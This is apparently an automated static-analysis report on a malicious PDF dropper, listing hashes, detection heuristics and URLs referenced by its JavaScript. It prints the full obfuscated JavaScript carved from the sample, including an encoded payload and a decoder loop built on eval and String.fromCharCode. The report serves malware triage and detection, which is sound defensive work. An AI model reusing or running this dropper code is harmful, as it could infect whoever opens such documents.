Malicious PDF — malware analysis report

Static analysis result for SHA-256 e48eb350531a2b99…

MALICIOUS

PDF

2.7 KB First seen: 2013-03-06
MD5: 96fdf7c256f2f657614038f6f31593ad SHA-1: 0b62f57a88cc434fcccca7519f963801515506aa SHA-256: e48eb350531a2b99085f434d20b4e37164aed1116a3e13c27caea5c0dffd46e8
218 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF file contains embedded JavaScript, indicated by the PDF_JAVASCRIPT and PDF_JS heuristics. The presence of an eval() call and String.fromCharCode usage within the JavaScript streams suggests obfuscated code execution. The ML classifier and ClamAV detection strongly indicate malicious intent, likely to download and execute a secondary payload. The extracted JavaScript files are the primary indicators of this malicious behavior.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 6

  • ClamAV: Pdf.Dropper.Agent-1508617 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Pdf.Dropper.Agent-1508617
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    /*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/ eval('elfvyrf=/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/eval;');
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://J.ZK/DOPJb Referenced by PDF JavaScript
    • http://J.ZK/DOPJa2Referenced by PDF JavaScript

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj111611_000.js pdf-javascript-stream PDF /JS object 111611 at offset 0x197 258 bytes
SHA-256: 443f4c41b38e8ba237072d28225e73ad48bef5a05beeca37d6378939c1a6ac2f
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/ eval('elfvyrf=/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/eval;');
agd = "!^@&*hgjrg".replace(/[!]/g, "");agd = "!^@&*hgjrg".replace(/[!]/g, "");agd = "!^@&*hgjrg".replace(/[!]/g, "");
javascript_obj111612_001.js pdf-javascript-stream PDF /JS object 111612 at offset 0x268 3286 bytes
SHA-256: 49c5a86b773e9dec0e13cf9d2e166c97be14ea38a29fef529172cecb09261f62
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
eqfwf2="0X1I1Z1f2Z1d3P1`1a242R1^3a1[2L2U1V1W2c3K1T2]1P1Q272f1N3^1L3S1J3f3h1A1F3`1D2_1B3N3Y0d1>3M1<3L1:3d1215162Y2e132T2W1*1-1.3/331+3+3-0g0h3G3T0e3=3E0b2[0`3]0^2h0[3b0Y2V2g0>0O0T2O0R2^0P3V3X0M2J0K2b0E0H2S0F3I3Q0A0B3W3c0?2X3R0:0;2`2a083O062d043Z3_";fzyriz2=".Nf9^dHHK1`fG1bc`V?chgjTPeHcIMJ]TIUgiPeKUBU[feiPeHfjYeETM>jePeHcIMJ]TTP[AMb`-feP[AMb[_c6TMiF0?=BU[feQ`7LY1YUcgM;fhciQX[R9eSXQSX47F8Q+O>hbe9=_a4gHi8Q+Kj8--JZc6TK[ATY8Y5RU^[@`9TQdiSY=^[@ZacG8-4RF?eP6Sh:AR6+J6+K_c6TK[AT4VVh=eJY?***+_c6TK[ATi4aPA4W=eNQcgZYb-;e.]@+,BE1:P@^B=^6].*83,**+,BV*:Q5.O,<F,_3TP+,4*3:OL<,.2_-2:04,.V+0R:T^P:LJ2`,F_+2:M:HK34>.2R,5:K0U6K36>.3OVa.^PXK**1:J8*2;RAG,*dA:J**:Q,+_2WY.K**1:P,*2:QVe.2fLZPFZ_2**e.ZZ+,.-<:J**:JK*.2UYC,**8K,H*2:MX5,C^-:J*-R<=J,.+ZWK,/BD.OQP:J0a>2**.23RJ:OO*.2:JE,<6dN3^<WK0Eb:NM*T.3c*K,8cV2U00K**-:P0*2=a,/,*f-:J**:Q/3e.BBMR:-B.2**.3JBD.hJK:J8^B:**2:*_V2*D@.cS9:M-.G,*f8K***K,HZ_2;b/K5.BD.**7,BB*K*-<ZLZ,/,+POK84=_2Z[1:J8^R:**2::V7,BAa:J*-R:QJ,.2fLZPFZ_2**e.ZZ+,.-<:J**:JK*.2UYC,**8K,H*2:MX5,C^-:J*-R<=J,.+ZWK,/BD.OQP:J0bR:**2:=;*K54*2:K*a.NC^2=POE,6bXK30+>2=Z+,.G[B;@67,**0K66*:QV.4.+a0K***K84=_2Z[1:J0Z2:**2=*Z_3f+,K*GPZJ**:J+SB:*_V3[<HK002e.+aG,**+,.hKR:MX5,/`KR:**_3KJ,.*75,5*2>20D@.cS9:M-.G,*f8K***K+,Z_3KIC,**8K95*.3JV@K65Q:P7Ce.C5,:J**:J**:J**:J**:J**:J**:J**:J**:PcT_3LU4K7@b2=*V.3C@XK/8_N2SJ+,Df;:LPDT._aiK7GB_3E`M:J*S_3X4W,B/O:PLVD.>fC:PT`>3X@7,@OD>3OJ,.bWh,@2U2=CEN2__*:JM.h,,V=_2Z3+,@ZY:KY,@K,H/D.NcAR;UP+,*.P:J**:M@+4.*^PR:**2:Taf,.Z3:J0F`,**+,@*M>2<?L:MP6a.DZ3:J0F`,**+,75.@K*6c>2**.2.LU:MPLC,**0K,W*.2.LU:MPLC,**0K6**K,U/DK,B.R:-8DK***K6cU>2V`3_3PO@K,B.R:-8DK***K0D=_2WBQR:=6G,/_>R<]Vh,CZ4K8D?4.^Xh,58h4.,A+,0V=2:**_33Z+,H_@ZK?Wa.c08K*N+R;ZLC,**0K,H*2:T^7K,B.R:-8DK***K8DC4.*1+,**+,**+,**+,**+,**+,**+,**+,.g*:MPLC,**0K6_*K83OR::V3,,.2>3QB4.+[@R:J6e.DDO_2+U4K8@dT.^0<K/6Z_2R<OR:b4e.>[<R:*>].ZaC,4>SN3DaLK7CY:PX_>3LW?,4b;:PVb_2Sad,@**K7b?:OJWN2EW?,@3X:J+X:OME4.W5A:KX_N3S5+,*/JK54_N3B54K-,N@.a;K:OJWN3TWh,D]Z:P]`_3D@d,E2b:PUD4.`;K:OSEN3U-,K5*ER<ZD<.b_K:NO<@K9**-`ZeF0?:cU`1PA>b=_iUcUDCFT`h7_hbjI_b?08Q+O>84h>b=_iRT]^`7b:_g]ePeHKiJYC.X1=J]T1/HSV?chh=eNQcgZYb-;e.g1JK9+c+ecG8-4SV?chh=eK1`fG1bc`V?chgjTPeHcG8-4RF?eP5S9iDQ`-@6SXe,h>***A4ELLU591=J]T.Xh:_F?eP5S9j=eJ8_[G3jeIh6A<Ig[aP5S9j:i9`F9[ZC???d`dG/HH4aEi[G3jai>iSV?chh:jA[@_]d?MSZC?1gc6TK[ATA1Fg4CGiSh<=gHBAfKRh,*Z0:J6+JhF8Q+O>jAdh7`-?[b9,PAIUeESfYijSj_SAV7F9]cfQK=5Y`-feO[b9,PAIMSj8-4Uij9M`A^/dSLW7ijAHeQ`7fAPP4`I6APPdQfH5ZSh6bPF<c_j1NDEeb2g99eUZhGW]X8dc>]fgIfK_";xpyuy1=2731;/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/cnjoyt/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/=/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/new Array(/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/);/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/while(eqfwf2.length){cnjoyt.push((hperiuh(eqfwf2.charCodeAt(0))<<(4+2))+hperiuh(eqfwf2.charCodeAt(1))-(500+12));eqfwf2=eqfwf2.slice(2,eqfwf2.length)}anhrkz=jtcrxlj=eqfwf2=0;fmblx='';function hperiuh(btksj){if(btksj>92)btksj--;return btksj-42}function yzcrxw(){if(eqfwf2==0){jtcrxlj=hperiuh(fzyriz2.charCodeAt(anhrkz++));eqfwf2=6;}return ((jtcrxlj>>--eqfwf2)&0x01);}/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/while(xpyuy1--){i=0;while(cnjoyt[i]<0){if(yzcrxw())i=-cnjoyt[i];else i++;}fmblx+=String.fromCharCode(cnjoyt[i]);}

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